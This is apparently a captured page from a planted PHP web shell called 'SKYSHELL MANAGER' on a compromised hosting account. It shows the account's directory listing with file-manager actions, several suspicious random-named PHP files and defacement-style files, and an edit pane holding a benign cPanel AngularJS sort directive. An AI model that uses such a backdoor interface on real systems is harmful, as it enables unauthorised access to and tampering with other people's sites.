📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: responsiveSortDirective.js
/* # cjt/directives/responsiveSortDirective.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ "angular", "cjt/core", "cjt/directives/responsiveSortInsertDirective", "cjt/directives/toggleSortDirective", "cjt/templates" // NOTE: Pre-load the template cache ], function(angular, CJT) { var module = angular.module("cjt2.directives.responsiveSort", [ "cjt2.templates" ]); /** * This directive wraps a set of toggleSort directives and generates/inserts a cp-select-sort * directive into the wrapping element. See the documentation for the cp-responsive-sort-insert, * cp-select-sort, and toggleSort directives for more information. Note that the toggleSort * * @name cp-responsive-sort * @attribute {Attribute} defaultField The default sort field for the selectSort. * @attribute {Attribute} defaultDir The default sort direction for the selectSort. * * @example * * <li class="list-table-header row" cp-responsive-sort> * <span class="visible-xs col-xs-8"> * <cp-responsive-sort-insert default-field="id" default-dir="desc"></cp-responsive-sort-insert> * </span> * <span class="hidden-xs col-sm-2"> * <toggle-sort id="sortVendor" * class="nowrap" * onsort="sortList" * sort-meta="meta" * sort-field="vendor_id"> * [% locale.maketext('Vendor') %] * </toggle-sort> * </span> * <span class="hidden-xs col-sm-2"> * <toggle-sort id="sortID" * class="nowrap" * onsort="sortList" * sort-meta="meta" * sort-type="numeric" * sort-field="id"> * [% locale.maketext('ID') %] * </toggle-sort> * </span> * <span class="hidden-xs col-sm-2"> * <toggle-sort id="sortMessage" * class="nowrap" * onsort="sortList" * sort-dir="meta" * sort-field="meta_msg"> * [% locale.maketext('Message') %] * </toggle-sort> * </span> * </li> * * In this example the cp-responsive-sort directive is wrapping 3 toggle-sort directives. * The generated selectSort directive will be inserted where the cp-responsive-sort-insert * element is placed. */ module.directive("cpResponsiveSort", function() { return { restrict: "A", scope: true, // This controller is basically just here to enforce the parent-child relationship. controller: function() {}, // The compile function is used because we need to access the DOM before the // toggleSort directives are processed. Otherwise, the transcluded text will // be missing and we cannot derive our option labels. compile: function(element, attrs) { // This obj will eventually have consolidated sortBy, sortDir, and onsort keys // for the selectSort directive. The sortFields key is an array of sortField // objects which are consumed by the selectSort directive. var parsed = { sortFields: [] }; // Generate an array of objects from the toggleSort directives that are // found within the element. These objects contain key/val pairs of the // associated attributes. var toggleSorts = Array.prototype.map.call(element.find("toggle-sort"), function(elem) { elem = angular.element(elem); return { onsort: elem.attr("onsort"), sortType: elem.attr("sort-type"), sortReverse: angular.isDefined(elem.attr("sort-reverse")), sortMeta: elem.attr("sort-meta"), sortField: elem.attr("sort-field"), sortLabel: elem.text().trim() }; }); // Go through the list of bound attributes for each toggleSort found and // ensure that they are uniform. Put all of the validated data into the // "parsed" var. toggleSorts.forEach(function(toggleSort) { ["sortMeta", "onsort"].forEach(function(property) { // Ignore omitted onsort attributes if (!toggleSort.onsort) { return; } if (!parsed[property]) { // For the first run-through if (toggleSort[property]) { parsed[property] = toggleSort[property]; } else { throw new ReferenceError("Malformed/incomplete toggle-sort directive found in descendant tree. Responsive sort directive cannot proceed."); } } else if (toggleSort[property] !== parsed[property]) { throw new Error("The responsive sort directive cannot handle more than one " + property + " property at a time."); } }); // Create the actual sortField object to be inserted into the array if (toggleSort.sortField && toggleSort.sortLabel) { parsed.sortFields.push({ label: toggleSort.sortLabel, field: toggleSort.sortField, sortType: toggleSort.sortType, sortReverse: toggleSort.sortReverse }); } else { throw new ReferenceError("Malformed/incomplete toggle-sort directive found in descendant tree. Responsive sort directive cannot proceed."); } }); return { // The scope needs to be set up in the pre-linking function because the // post-linking order will start with the child directive and thus the // scope wouldn't be ready. pre: function link(scope, element, attrs) { // Set up the view model for the selectSort scope.selectSort = { parsed: parsed, attrs: { defaultField: attrs.defaultField, defaultDir: attrs.defaultDir } }; } }; } }; }); } );
Save